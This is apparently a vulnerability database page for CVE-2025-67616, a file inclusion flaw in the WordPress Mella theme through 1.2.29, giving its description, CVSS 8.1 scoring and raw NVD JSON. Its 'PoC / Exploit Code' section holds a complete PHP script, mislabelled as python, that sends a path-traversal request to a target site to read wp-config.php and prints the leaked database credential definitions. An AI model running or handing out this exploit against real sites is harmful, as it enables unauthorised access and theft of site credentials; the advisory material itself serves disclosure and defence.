Security Vulnerability Report
中文
CVE-2025-67616 CVSS 8.1 HIGH

CVE-2025-67616

Published: 2026-01-22 17:16:02
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BZOTheme Mella mella allows PHP Local File Inclusion.This issue affects Mella: from n/a through <= 1.2.29.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mella Theme <= 1.2.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67616 PoC - Mella Theme Local File Inclusion * Target: WordPress Mella Theme <= 1.2.29 * Vulnerability: Unauthenticated Local File Inclusion via unsafe include() * * Usage: php poc.php <target_url> <file_path> * Example: php poc.php http://target.com "../../../../wp-config.php" */ $target = $argv[1] ?? ''; $file = $argv[2] ?? '../../../wp-config.php'; if (empty($target)) { echo "Usage: php poc.php <target_url> <file_path>\n"; echo "Example: php poc.php http://target.com \"../../../wp-config.php\"\n"; exit(1); } $url = rtrim($target, '/') . "/?file=" . urlencode($file); echo "[*] CVE-2025-67616 PoC - Mella Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] File to include: {$file}\n"; echo "[*] Requesting: {$url}\n\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => [ 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ] ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: {$httpCode}\n"; echo "[*] Response Length: " . strlen($response) . " bytes\n\n"; if (strpos($response, 'DB_NAME') !== false || strpos($response, 'define') !== false) { echo "[+] SUCCESS! Sensitive data leaked:\n"; echo "-------------------------------------------\n"; preg_match_all('/define\s*\([^)]+\)/', $response, $matches); foreach ($matches[0] as $match) { echo $match . "\n"; } } else { echo "[-] Target may not be vulnerable or file not found\n"; echo "[*] First 500 chars of response:\n"; echo substr($response, 0, 500) . "\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67616", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:01.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BZOTheme Mella mella allows PHP Local File Inclusion.This issue affects Mella: from n/a through <= 1.2.29."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP ('PHP inclusión remota de ficheros') vulnerabilidad en BZOTheme Mella mella permite PHP inclusión local de ficheros. Este problema afecta a Mella: desde n/a hasta &lt;= 1.2.29."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/mella/vulnerability/wordpress-mella-theme-1-2-29-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}